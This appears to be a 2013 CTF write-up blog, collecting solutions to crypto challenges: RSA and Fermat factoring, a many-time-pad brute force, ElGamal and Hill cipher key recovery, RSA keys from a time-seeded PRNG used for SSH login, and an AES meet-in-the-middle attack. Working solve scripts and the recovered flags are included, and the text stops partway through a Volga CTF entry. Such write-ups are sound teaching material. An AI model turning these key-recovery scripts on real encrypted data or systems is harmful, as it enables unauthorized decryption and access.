Generate private key for p and q values and decrypt the file
sage: p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
sage: q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
sage: phi_n = (p-1) * (q-1)
sage: e = 65537
sage: d = inverse_mod(e, phi_n)
sage: d
703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> from Crypto.PublicKey import RSA
>>> keypair = RSA.generate(1024)
>>> keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
>>> keypair.e = 65537
>>> keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
>>> keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
>>> private = open('private.pem', 'w')
>>> private.write(keypair.exportKey())
>>> private.close()
[ctf@renorobert 400]$ openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem
F4ct0r!zaTi0N
Flag for the challenge is F4ct0r!zaTi0N

CSCAMP CTF Quals 2013 - Crypto 300 - [Team SegFault]

We were given about 12 encrypted messages and the challenge description said Many Time Pad and 12th message holds the flag. Below is the encryption algorithm
import os

key = os.urandom(1024)
messages = [message.rstrip('\n') for message in open("messages")]

def xor_string(x, y):

    if len(x) > len(y):
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x[:len(y)], y)])
    else:
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x, y[:len(x)])])

print key.encode('hex')

for i in range(0, len(messages)):
    print "Message #{0}: {1}".format(i, xor_string(key, messages[i]).encode('hex'))
The messages are encrypted by XOR encryption using randomly chosen key whose length is equal to length of plain text. To decrypt the flag message we decided to bruteforce the key. Below is the idea:

[*] Bruteforce key in range of 0 to 0xff for each byte of 12 cipher texts
[*] See if the chosen key is able to decrypt a byte of cipher text to a printable character in charset [space, 0-9, A-Z, a-z] for all 12 given cipher texts
[*] Such a chosen key is a possible candidate to be final key

The above method created some collisions but was good enough to retrieve the flag. Below is the code
#!/usr/bin/env python
# cry300.py

ciphers = ['2838febbef072500b57a8e41119b051ad0174127b3f11208bd094d092bb9b6edfe0b655377a1dd6ccb5870d3ae250d91b9d097b5d13b569545c9fd0f3940195356d89ed9a99140b44fca2e5dffe40f37f07a',
'3a39badcc70c6143b47e981500974057dd100626a9f10e09af5d021731b9a8e1ec4c671c71abdd79cd5970fdac204a90f0c998f1f33012c14edeb802244215071edbccdeaddc14b14b862f1cece10572e56c80fb267a0a0b93e0458fdc3059c95ba33af02189', '2b23eebbdf0d6141b47ed9121081051ac816473be7a50e05fc17180438f4a4e2f90b6d5a38829269855523b4a0224e9aa2c297bfd37f028e0dd8af16244f514611df85d8b7c514a8428f271cfae70831eb298ef52772431cc1f65198d1740dc957ed29eb',
'2838febbef072500a57a950d0097404ed41b062bb5a8460cbd1309401af8b3f8e50b63527ce58965c01c37f5b5294887b9c899f1c030118459c4b8117048170702d68996b3d040b958996a5fece30d37e72985ff6a4c4f0992a54595dd743ece5aa33df933c489caa16c8290717a85d2d470f6a6529d', '2f39e8bbdc002452a33b9012459d0f1ace1b553fa2b21240b31b4d103aebb2e3e358224b71b1952de25334', '213fe9bbc00d2044e67a9705459b09499c164726b5a24617b90f084028f1a8f8e80b6e5573a0dd7aca533cb4a0320d82b8cf8ab4943e05c15ec2b21470461f4356d685c5e4d44db959ca3d59ffea4133f0298cba2c734b0584a54b9d993210d35b', '2838febbdc002400a36d9c0f0c9d071add10426fb3b90340b1121f0e36f7a6acfa4e705938b19568855a39f2b5290d91b1df', '2533eebbce092d4ce67a95120ad31355d11b0620a1f11208b95d050131fda7f9e15822537ee58d78d74c3fe7a4614b9aa28696b4c67f178f498cb1063151140702d689dbe4c55cbd5eca3954e8af0c33fa298af62f7e444895ed4196993517c51ef12bfa318f9882a87dd0d96b3586', '3d3effbbe4271364e6739c001797404ed41b0639a8b80505fc120b4026f6b4fead5c6d4e7cb6dd6ccb5870e3a0320d82a2c98ab9943e18850ddfaa022242515417c785d8a3', '3d3effbbe4271364e662961417d32755d85e5127aeb20e40bb1208137ffba4eae259671c61aa882dcd5970e7a9204199f0c097b6dc2b568742defd1a3f52514615dd83c4a0d85abb0a9e251cece30d72f7618cee6a774f4885ec40dbdf3b0b8147ec3bb82d8adde7a761d28d253897d5c822f4e94496af2235eb4bab26',
'2b23eebbc91b6146a969d9180a86404ec90c486fbebe1340bd1309402bf8aae9ad526d496ae59762d04e3ef1b861449ba4c9dea5dc3a569644c0b90622491454059e8ecfe4c55cb90a9d2b45ade00772f76188ba187a4e4892e045', '2437e3f9cd48384fb3718c1211950f4fd21a4b2ea9a80d05a50e4d092cb9b5e4e80b63526bb2987f85453fe1e1324890bb']

# possible charset space, 0-9, A-Z, a-z
charset = [32] + range(48, 58) + range(65, 91) + range(97, 123)
poss = []
exception = False

# for all characters in cipher text of flag message
for i in range(len(ciphers[11].decode('hex'))): 
    sol = []
    for key in range(256):   # for all possible keys
        pad_size = 0
        for cipher in range(len(ciphers)): # for each cipher text
            try:
                byte = ord(ciphers[cipher].decode('hex')[i])
            except IndexError:
                exception = True
                continue
            if (byte ^ key) in charset:  # check if a key can decrypt to printable text
                pad_size += 1
                if not exception:
                    if pad_size == len(ciphers):
                        sol.append(chr(byte ^ key))
                else:
                    if pad_size == len(ciphers) - 1:
                        sol.append(chr(byte ^ key))
    poss.append(sol)
print poss
[ctf@renorobert CSCAMP]$ python cry300.py
[['m', 'n', 'h', 'i', 'j', 'M', 'N', 'H', 'I', 'J'], ['g', 'f', 'e', 'c', 'b', 'a', 'm', 'l', 'G', 'F', 'E', 'C', 'B', 'A', 'M', 'L'], ['i', 'h', 'o', 'n', 'l', 'y'], ['q', 'p', 's', 'r', 'u', 't', 'w', 'v', 'b'], ['H', 'K', 'E', 'G', 'F', 'A', 'h', 'k', 'e', 'g', 'f', 'a'], [' '], ['y', 'l', 'm', 'o'], ['o', 'z', 'y'], ['u', 'c', 'b'], ['z', 'j'], ['u'], ['s', 'e'], ['t'], ['f'], ['o'], ['m', 'l', 'b', 'u'], ['n'], ['d'], ['m', 'y'], ['a'], ['n'], ['y'], ['k', 'y', 'z'], ['e'], ['l', 'n', 'y'], ['s'], [' '], ['i'], ['s'], [' '], ['u', 't', 'w', 'v', 'p', 'e', 'k', 'U', 'T', 'W', 'V', 'P', 'E', 'K'], ['h'], ['e'], [' ', '1', '0', '6', '5', '4'], ['a', 'w', 't'], ['n'], ['s'], ['w', 'a'], ['e'], ['r'], [' '], ['y'], ['o'], ['e', 'd', 'u'], [' '], ['s', 'b', 'c', 'a'], ['e'], ['S', 'X', 'Y', 'B', 'C', 'D', 'E', 'F', 'G', 's', 'x', 'y', 'b', 'c', 'd', 'e', 'f', 'g'], ['z', 's', 'r', 'k']]
Some characters decrypted without collisions, rest of the characters were guessed as youjustfoundmanykeys is the answer you seek. Flag for the challenge is youjustfoundmanykeys

Tuesday, October 29, 2013

EMC Defenders League - Round 3 - ElGamal Cryptosystem

A ruby script was given, looking at the code its easily identified as ElGamal cryptosystem
def encrypt(plaintext)
  begin
    p,g = File.read("public.key").split.map(&:to_i)   # prime p and generator g
    x = File.read("secret.key").downcase.unpack("H*").first.to_i
  rescue
    raise "Could not read the keys."
  end
  y = mod_pow(g,x,p)     
  msg = plaintext.unpack("H*").first.to_i(16)  
  enc = []
  while msg!=0 do
    k = rand(2**512)
    while k.gcd(p-1)!=1
      k = rand(2**512)     # ephimeral key
    end
    msg , m = msg.divmod(p)    # quotient , remainder
    a = mod_pow(g,k,p)     # cipher_one

    b = (m * mod_pow(y,k,p)) % p   # cipher_two
    enc.push([p,g,y,a,b])
  end
  return enc
end
Also a directory listing was given, which read
-rw------- 1 user1 user1    9 Sep 12 16:59 secret.key
So, it looks like the private key is a small number. From the code y = g^x mod p , where y,g and p are public. I wrote a GMP C code to brute the value of x. Now its the matter of decrypting the value of cipher text from the given file
#!/usr/bin/env sage -python

from sage.all import *

a = [10264935714840344555659480530391531504799751837786398398316078563294217410270167702155077526394934157060210816906645541211888193204711479484170362078382934, 6823073135499190154483378335285592356188617899094830851286814357379354454127003397049290347022567266459967665409741524356428389256663366725696511671610252, 6799828613544592377533880394625646977560051635952644078042208063362163512223938553938795141149658062454075205535854660371542763834499519406362703514503332, 672505970984355266693231966226618520516336889495074224541849620341452271159684475161636332714848734553160854293600007936085992661979551831016772987917068]
b = [10340609465224600321180300969872222181794348193568386018372923576739867282485924452563065089417849300140351755230325685204557146183945278941161645372102509, 5281134801218769020778720412885415834550804855232111764210295764635532757913976877308711845460529040416820894758873972605710392788924240448443272640451982, 457101717286387383800532326852190913868486287682428841339947697619176026876915473073415513803021227080851888197491621726415573291680046893149593865864624, 589149635285693973671288870900610302399060697179753365215668035230635162797171706009867229016045306799390816419364037357020145534760948533979498925094150]
mod = 11994453392181474037639262741550096843127850786293620241343626519409002514576698974663696483571708872339453054238999399420344927969237949604807335692536203

private = 77656
dec = []
for i in range(4):
    dec.append( (b[i] * inverse_mod(a[i]^private, mod)) % mod)

q = 0
for i in range(3, -1, -1):
    msg = (q * mod + dec[i])
    q = msg

dec = hex(q)[2:]
dec = dec[:len(dec)-1].decode('hex')
print dec
Yourt passwordh muste be ats leaste 18770c charactersr ande cannott repeat anyc ofo yourd previouse 30689 passwords.i Pleases type ag differenty password.8 Type4 ai password7 thatf meetso thesev requirements1 int boths textw boxes..
Collect the last character of each word to retrieve message.

EMC Defenders League - Round 2 - Hill Cipher Known Plain Text Attack

Couple of cipher text and password for first cipher text was given. Our aim was to decrypt the second message to find the flag for the challenge. First, lets decrypt the cipher text for which we have the key.
Cipher Text:
-6N.AAH79T2N3Z?M2XMW9O6261HOVPC,VIRA1RNOOO,9QZHGXDPDGD5CHPIQ369Z0 Z.0A2QKE57ISF,IRZUPDZS6R5UWM9IECDDQPMUN337X331G8D,23QLW8QT4XP76YAS 4SKJTRJJ3A TIAQPHQPL9UU1YHSWU9V2

Key:
JACKNJ1LL

Charset:
_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-

Plain Text:
DEAR_AGENT_ALICE,_OUR_FRIEND_AGENT_CARLOS_GOT_CAUGHT_SO_OUR_KEY_AND_CODEWORD_MAY_HAVE_BEEN_COMPROMISED._PLEASE_CHANGE_THE_KEY_AND_SEND_THE_NEW_CODEWORD_-_AGENT_BOB__
The key given was 9 chars long, so the key matrix should be 3x3. The length of first cipher text is 165 bytes, so it must be a 3x55 matrix. Ok, we need more details. Lets try and interpret few information from the decrypted plain text. If message format is the same, the header of 2nd cipher text must be from plain text mentioned below[ALICE --> BOB]
DEAR_AGENT_BOB,_ # 16 bytes
Also, the footer must be something similar to
_-_AGENT_BOB__  # 16 bytes
Cipher text two:
7BQE,IZ0ZILXX0B8FJKZGYAM35F7LG.6W8AIBNEBNZS2VSZYEG0QF0PJC LY0FFVU7K028DHW2GWE 9DQG.MEDOUC?AAWR,ZQF9X,VK9JKQTUMF5OW2ZFERF # 120 bytes
With the above information, we must be able to partially recover the key. If the key is 3x3 matrix, the plain text must be represented as 3x40 matrix for encryption
cipher_matrix = 
[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2, 14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4, 17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]

Prologue of plain text:
[4, 5, 1, 18, 0, 1, 7, 5, 14, 20, 0, 2, 15, 2, 39, 0]

Epilogue of plain text:
[0, 40, 0, 1, 7, 5, 14, 20, 0, 1, 12, 9, 3, 5, 0, 0]
With the know plain text in row 1 and row 3, lets solve a set of linear equations to find the partial key inverse(key[3x3]) * cipher[3x40] == plain[3x40]
Linear equations for 1st row of inverse key matrix
sage:  var('a,b,c')
(a, b, c)
sage: solve_mod([34*a+14*b+17*c == 4, 2*a+26*b+7*c == 5, 17*a+19*b+37*c == 1], 41)
[(18, 5, 18)]
Solving a set of set of linear equations for row 3
sage:  var('g,h,i')
solve_mod([2*g+4*h+6*i == 0, 5*g+36*h+18*i == 5, 14*g+0*h+5*i == 3], 41)
[(6, 9, 33)]
So the row 1 and row 3 of inverse key matrix is recovered
[(18, 5, 18),
 (x , y, z ),
 (6 , 9, 33)] 
With this key, we can recover the plain text from row 1 and row 3
cipher = matrix([[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2], [14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4], [17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]])

key = matrix([[18, 5, 18],[0, 0, 0], [6 , 9, 33]])

plain = (key*cipher)%41
[ 4  5  1 18  0  1  7  5 14 20  0  2 15  2 39  0 19  1  4  0 20 15  0  8  5  1 18  0  1  2 15 21 20  0  1  7  5 14 20  0]
[ 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0]
[30 26 18 23 23 29 24 14 13 18 20  2 14 15  8 10  9 12  9 25 14 28 13 29  2  0 40  0  1  7  5 14 20  0  1 12  9  3  5  0]
Convert this to plain text we get:
charset = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-"

text = ''
for i in plain:
    for char in i:
        text += charset[char]
print text
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_________________________________________3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_
We have the partial plain text recovered. Now we have to recover row 2. Looking at the plain text one and partial plain text two, I could predict that the plain text could be
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS  # CARLOS can be predicted
Now solve the linear equations for row 2
sage: var('d,e,f')
(d, e, f)
solve_mod([34*d+14*e+17*f == 3, 2*d+26*e+7*f == 1, 17*d+19*e+37*f == 18], 41)
[(28, 39, 23)]
So, the recovered inverse of key matrix is
[(18, 5, 18),
 (28, 39, 23),
 (6 , 9, 33)] 
Final message is DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS._HERE_IS_THE_NEW_CODEWORD_PYYTO4V3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_

Monday, July 8, 2013

SIGINT CTF - crypto 200 - RSA - [Team xbios]

We were given two files for this challenge - python script used to generate RSA keypair and authorized_keys. Authorized_keys is the public key which has the n and e value. Below is the code
#!/usr/bin/env python

from time import time
from os import system
from Crypto.PublicKey import RSA

SEED = int(time())

def randfunc(n):
    def rand():
        global SEED
        ret = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
        SEED = ret
        return (ret >> 0x10) & 0x7fff
    ret = ""
    while len(ret) < n:
        ret += chr(rand() & 0xff)
    return ret

keypair = RSA.generate(1024, randfunc)

with open("pub", "w") as pubfile, open("id_rsa", "w") as privfile:
    privfile.write(keypair.exportKey())
    pubfile.write(keypair.publickey().exportKey())

system("ssh-keygen -m PKCS8 -i -f pub > id_rsa.pub && rm pub")
Looking at the code we can see that, current time is used as SEED value during key generation. To solve the challenge

[*] Find the SEED value used in key generation
[*] Generate the private key pair for the given public key
[*] Copy the generated private key to ~/.ssh/id_rsa. Now we can prove our identity to the remote machine and perform a login

Bruteforcing the SEED value was a bit of pain. After some failures, finally we decided to bruteforce the SEED value by going behind the start of CTF time ie
SEED = 1373040000
GMT: Fri, 05 Jul 2013 16:00:00 GMT
The n value was extracted from authorized key as
 
0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3
Below is the script we used for bruteforce
#!/usr/bin/env python

from Crypto.PublicKey import RSA
from sys import exit

target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

SEED = 1373040000
counter = 0

def randfunc(n):
    global SEED_Brute
    ret = ""

    while len(ret) < n:
        tmp = SEED_Brute*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35+1
        SEED_Brute = tmp
        tmp = (tmp >> 0x10) & 0x7fff
        ret += chr(tmp & 0xff)
    return ret

while 1:
    SEED_Brute = SEED - counter
    keypair = RSA.generate(1024, randfunc)
    if keypair.n == target:
        print keypair.p
        print keypair.q
        print (SEED - counter)
        exit(0)
    counter += 1
After sometime we got the following values:
p = 10196183246368760603869192593971202143897281417220455881063414616103901438182656326076501376638806928762094749150020638960102206987607293047096627515275223
q = 13097286606179453667665592444299109782484218865253457545521978739889248320232481682880143106432871469494586765663594908396375009598486558938138835723794021
SEED = 1373038672
Now generate the private key and place it in ~/.ssh/id_rsa and connect to the challenge machine
challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt 
SIGINT_some_people_pay_100_euro_for_this
Flag for the challenge is SIGINT_some_people_pay_100_euro_for_this

Update:

Well, I tried out the optimization as mentioned in the comment section. Thought of making a small note on it.

[*] rand() function is linear congruential generator of form (((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ) >> 16 ) mod 2^15
[*] After computing ((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ), the output is shifted by 16 bits then mod 2^15 is done. So its enough to consider only 32 bits from left, since bits 31 to 16 is brought to bit position 15 to 0
[*] Multiplication is nothing but repeated addition. Even if you add 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 'n' number of times, only final 32 bits matter to us. So we can do
>>> hex(0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 & 0xffffffff)
'0x15a4e35L'
Thats exactly 25 bits
[*] If SEED is greater than 2**32, the value of multiplication is going to cycle back. So its enough to consider only the 4 bytes of SEED
>>> hex(0x15a4e35 * 1)
'0x15a4e35'
>>> hex(0x15a4e35 * 2)
'0x2b49c6a'
>>> hex(0x15a4e35 * (2**32+1))
'0x15a4e35015a4e35'
>>> hex(0x15a4e35 * (2**32+2))
'0x15a4e3502b49c6a'
>>> hex(0x15a4e35 * (2**32+1) & 0xffffffff)
'0x15a4e35'
>>> hex(0x15a4e35 * (2**32+2) & 0xffffffff)
'0x2b49c6a'
[*] Thus we can reduce the multiplier to 0x15a4e35 and SEED to 4 bytes in LCG. Since only 8 bits of LCG is used, further optimization can be achieved by using only 3 bytes of multiplier and SEED

Tuesday, June 11, 2013

Boston Key Party CTF 2013 - Crypto 200 - MITM - [Team xbios]

We were given a text file with the below contents
message 1:  QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=
encrypted:  THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=
message 2:  RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM=
encrypted:  01YZbSrta2N+1pOeQppmPETzoT/Yqb816yGlyceuEOE=
ciphertext: s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=
>>> import base64
>>> message1 = "QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM="
>>> message2 = "RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM="
>>> base64.b64decode(message1)
'AES-256 ECB mode twice, two keys'
>>> base64.b64decode(message2)
'Each key zero until last 24 bits'
So we have the following details:

[*] Two pair of plain text and cipher text
[*] AES-256 ECB mode is used, so no IV. Length of key is 32 bytes
[*] Message is encrypted twice with two keys
[*] 29 bytes of key is zero, bruteforce the last 3 bytes
[*] Name of the challenge says its Meet In The Middle Attack

To find the key:

[*] Generate a dictionary of all possible {cipher:key} from plain text(message1). Since we bruteforce last 3 bytes of key, there would be 256*256*256 entries
[*] Then decrypt the cipher text(encrypted1) using all possible key(2nd key) and lookup the dictionary {cipher:key}
[*] If there is a hit, thats our key pair (k1, k2)
[*] Decrypt the cipher text as Dk1(Dk2(Cipher))), thats our flag

Below is the code to do that:
#!/usr/bin/env python

from Crypto.Cipher import AES  # requires pycrypto package
from struct import pack
import base64
import sys

# ECB mode, each block of 16 bytes encrypted independently
plain_text = base64.b64decode("QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=")[:16] 
cipher_text = base64.b64decode("THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=")[:16]
enc_message = base64.b64decode("s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=")

lookuptable = {}
key_prefix = pack("B", 0x00) * 29

# genarate list of possiblities
for i in range(256):
    for j in range(256):
        for k in range(256):
            brute = chr(i) + chr(j) + chr(k)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).encrypt(plain_text)
            lookuptable.update({cipher:key_prefix + brute})

print "Lookup table Generated!"

for x in range(256):
    for y in range(256):
        for z in range(256):
            brute = chr(x) + chr(y) + chr(z)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).decrypt(cipher_text)
            if lookuptable.has_key(cipher):  # find key
                key1 = lookuptable[cipher]
                key2 = key_prefix + brute
                c1 = AES.new(key2, AES.MODE_ECB).decrypt(enc_message)
                print AES.new(key1, AES.MODE_ECB).decrypt(c1)
                sys.exit(0)  
[ctf@renorobert BKPCTF]$ python solve200.py
Lookup table Generated!
This time I didn't include sol'n
Flag for the challenge is This time I didn't include sol'n

Sunday, June 2, 2013

EBCTF Teaser 2013 - Crypto 100 - [Team xbios]

Description:
We suspect an employee of one of the embassies has leaked confidential information to a foreign intelligence agency. We've managed to capture an individual whom we assume to be the recipient of the info. Our forensics department has managed to recover two messages from his outbox, which appear to be encrypted using some crypto tool. Along with each email our suspect also received an SMS message containing a password, however we were only able to recover one - "SieR1mephad7oose". Could you help us decrypt both messages?

We had access to the cypto algorithm (crypto.py) and two messages sent (msg001.enc and msg002.enc). The password for 1st message is given in the README file. First lets decrypt the message
[ctf@renorobert cry100_espionage]$ python crypto.py 
Usage: crypto.py encrypt <password> <infile> <outfile>
 crypto.py decrypt <password> <infile> <outfile>

[ctf@renorobert cry100_espionage]$ python crypto.py decrypt SieR1mephad7oose msg001.enc msg001.dec 
[ctf@renorobert cry100_espionage]$ cat msg001.dec 
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Weekly update

Boss,

Sorry, I failed to get my hands on the information you
requested. Please don't tell the bureau - I'll have it
next week, promise! 

Vlugge Japie
Ok, there is nothing interesting in this message. We have to figure out a way to read the msg002.enc file. This is what the crypto algorithm does

Key Generation routine
[*] Generate raw bytes by hashing the password with sha256 algorithm, this gives 32 bytes
[*] XOR first half of hash with the second to generate 16 bytes key. Repeat this again for 20000 rounds

Encryption
[*] Once key is generated, the message is split into blocks of 16 bytes
[*] First 16 bytes of message is XOR'ed with 16 bytes key to get cipher text
[*] The key is then updated using the same key generation routine, after appending the len(msg) to the current key
[*] Thus every 16 bytes of plain text is encrypted with updated key

Since both messages are sent by same person, we assumed that mail headers are same in both messages. To decrypt the msg002.enc file
[*] XOR first 16 bytes of decrypted msg001.enc file and first 16 bytes of decoded msg002.enc file
[*] We found the key that comes after 20000 rounds, now pass this key to the encryption routine mentioned above

We used the given crypto.py to write the solution. Here it is
#!/usr/bin/env python
# solve.py

import hashlib

msg_one = open("msg001.dec").read().strip()
msg_two = open("msg002.enc").read().decode("base64")
hash_key = ''
blk = 16

# find key
for i in range(blk):
    hash_key += chr( ord(msg_one[i]) ^ ord(msg_two[i]) )
 
print repr(hash_key)

def xor(a, b):
    l = min(len(a), len(b))
    return ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(a[:l], b[:l])])

def h(x):
    x = hashlib.sha256(x).digest()
    x = xor(x[:16], x[16:])
    return x

def crypt(msg, hash_key):

    k = hash_key
    out = ''

    for i in xrange(0, len(msg), 16):
        out += xor(msg[i:i+16], k)
        k = h(k + str(len(msg)))
    return out

print crypt(msg_two, hash_key)
[ctf@renorobert cry100_espionage]$ python solve.py
'\xea(\xb9\xa8G\xb1\x9da\x00\xccIC\xf2-\xef\xf1'
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Found it!

Boss,

I found some strange code on one of the documents.
Is this what you're looking for?

ebCTF{21bbc4f404fa2057cde2adbf864b5481}

Vlugge Japie
The flag for the challenge is ebCTF{21bbc4f404fa2057cde2adbf864b5481}

Monday, May 13, 2013

Balt CTF 2013 - Crypto 300 RSA - [Team xbios]

For this challenge, public key (e, n) and cipher text (c) is given. We have to find the hex(plain text), which is our flag. With the given data, the first attack that came to mind was to factorize the modulus (n). Fermat's factorization method worked out for us. With (p) and (q) values revealed, we can compute the private key exponent (d) and decrypt the cipher text. Computation was done using sage
sage: e = 0x10001
sage: n = 0x59b7f3a0a6bd10811b05473deb94ae35f84163652e408372ab86cdcb24f21873603ce29059cc9f261b1d5b7cb02221deedc8eb289c8086f797b5bd0be456c249962fecf9faf9846eb91be1ca17234b4e981fb0bc58d2dd97b7124014a0d10a876a57b2dd8a9d9b8ce95998143aa009fa91657864f819883a31d53fcf30d517ded93aae7895a44bf1576d0aa1694f50481504e184b499ad7805974a910a0e31f080eeea700504a8606b0c888f728a543f944334cc72dcb1b1402471c2e7473dbc0ff2743928df51daf2fa3b954c76b4ff95510df1

sage: c = 0x53da088f69a0c11b11f458e9ec6d89034c3b523d7389221dccec4df09f3dcb6fcd92afb29e2ba7d623525c97604a95ac0b16116bae0545cb9d6608d2c1f6712e5acd1b9e1ebf6e4778c7467d2394bd347dff08b2f41f9cd00c31898641daf4fab519a531112f3b2dd87ef1711992871cfc5168c2dab19dee0d645fc8af560d851eb5c87c5a3038fa84ef7f1bde1df4c766b85a10f3ae888ddef4368684b08674382cd41522485f13dce522080f28f9936c5482cf69f96c51f6d1354f265eb2c334b96b9fb114cdb626c6bbeecaaa9ea5d0b072af

sage: a = ceil(sqrt(n))  # Fermat's factorization
sage: b = (a*a) - n
sage: while not b.is_square():
....:     a = a + 1
....:     b = (a * a) - n
....:     
sage: a - sqrt(b)
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111178333333333334444487294872309872209128742098742420984723982734329843732987178261897634983473987323987439874932873402398720978429874230987340298723097527
sage: a + sqrt(b)
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111178333333333334444487294872309872209128742098742420984723982734329843732987178261897634983473987323987439874932873402398720978429874230987340298723103639

# The two primes are close to each other

sage: p = a - sqrt(b)
sage: q = a + sqrt(b)
sage: phi_n = (p-1) * (q-1)
sage: d = inverse_mod(e, phi_n) # d is multiplicative inverse of e in phi(n)
sage: d
954337922767969916908684322511626172153813028433471847116048101750834558256320009222949546736110051489265793707710489453529078417995956007435026641927114607256687547284882784003724373712426598639807261395269322730689854325793227045289600093508768321130231092684779871351143961963991606200867096255924369283753459133254468784782317092964170117014480277377749896360826708246366013560507323222994034704551754940109682559173621578143499090359492462527474301373854713937148548729916280548630343340454397431053024437

sage: m = Mod(c, n) ^ d         # m = (c ^ d) mod n
sage: c == Mod(m, n) ^ e
True
sage: m
15056585307564100396433190076676958000692809023067706122001961903801830300386286
sage: hex(15056585307564100396433190076676958000692809023067706122001961903801830300386286)
'8207fd4917aa8d07ed9b1bfa9cc2dc7803b848edefa1c2dc7803e97822696b03ee'
Flag for the challenge is : 8207fd4917aa8d07ed9b1bfa9cc2dc7803b848edefa1c2dc7803e97822696b03ee

Saturday, May 4, 2013

Volga CTF Quals 2013 - Crypto 200 - [Team xbios]

Description:
You've managed to intercept two transmissions from other space ships Ð each contains a password-protected archive and a ciphertext. They look like packages from the server that corrects autopilot configuration settings to avoid space garbage. Unfortunately, you can't communicate with this server. Apparently, both ciphertexts are actually the same message encrypted with different RSA public keys. As for the message, it might be the key for archive. Knowing the source of both transmissions, you do have public keys that might be used to encrypt the archive key. Is it possible to get the content of the archive? You will get the space junk out of your way!

We have the following data:
Public Key 1 
